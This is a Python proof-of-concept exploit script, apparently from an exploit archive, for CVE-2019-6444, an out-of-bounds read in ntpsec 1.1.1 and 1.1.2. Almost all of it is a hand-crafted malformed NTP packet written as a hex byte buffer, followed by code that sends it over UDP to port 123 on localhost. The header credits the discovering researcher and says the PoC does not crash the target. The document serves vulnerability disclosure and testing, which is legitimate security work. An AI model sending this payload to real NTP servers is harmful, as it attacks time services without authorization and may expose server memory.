#!/usr/bin/env python
# Exploit Title: ntpsec 1.1.2 OOB read Proof of concept
# Bug Discovery: Magnus Klaaborg Stubman (@magnusstubman)
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: https://dumpco.re/bugs/ntpsec-oobread2 
# Vendor Homepage: https://ntpsec.org/ 
# Software Link: ftp://ftp.ntpsec.org/pub/releases/ntpsec-1.1.2.tar.gz 
# Affected versions: ntpsec 1.1.1, 1.1.2
# CVE: CVE-2019-6444
# Note: this PoC does not crash the target

import sys
import socket

buf = ("\x8e\x0a\x6b\xc3\x80\x00\x00\x00\x00\x00\x02\x48\x47\x50\x53\x73" +
       "\x6b\xc3\x80\x00\x00\x00\x00\x00\x02\x48\x47\x50\x53\x73\xdd\xb5" +
       "\xc9\x64\xcf\x8a\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x44\x47\x50\x10\x00\x47\xb5\xc9\xcf\x97\xbb\x00\xe5\xf8\xdd" +
       "\xb5\xc9\x6b\xd8\x7f\x81\xc2\xdd\xb5\xc9\x6b\xdd\x80\xe4\xe4\xe5" +
       "\x9f\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x21\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\xc5\xbf\xbc\x6b\xd8\x7f\x82\x00\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x42\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\xed\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x00\x00\xe4\xe4\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x00" +
       "\x01\x00\x00\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x29\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
       "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x97\x48\xdd\xb5\xc9\x6b" +
       "\xbb\xe8\x08\xf8\xdd\xba\xc9\x6b\xd8\x7f\x82\xc2\xdd\xb5\xc9\x6b" +
       "\xd8\x80\x57\x9f")

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))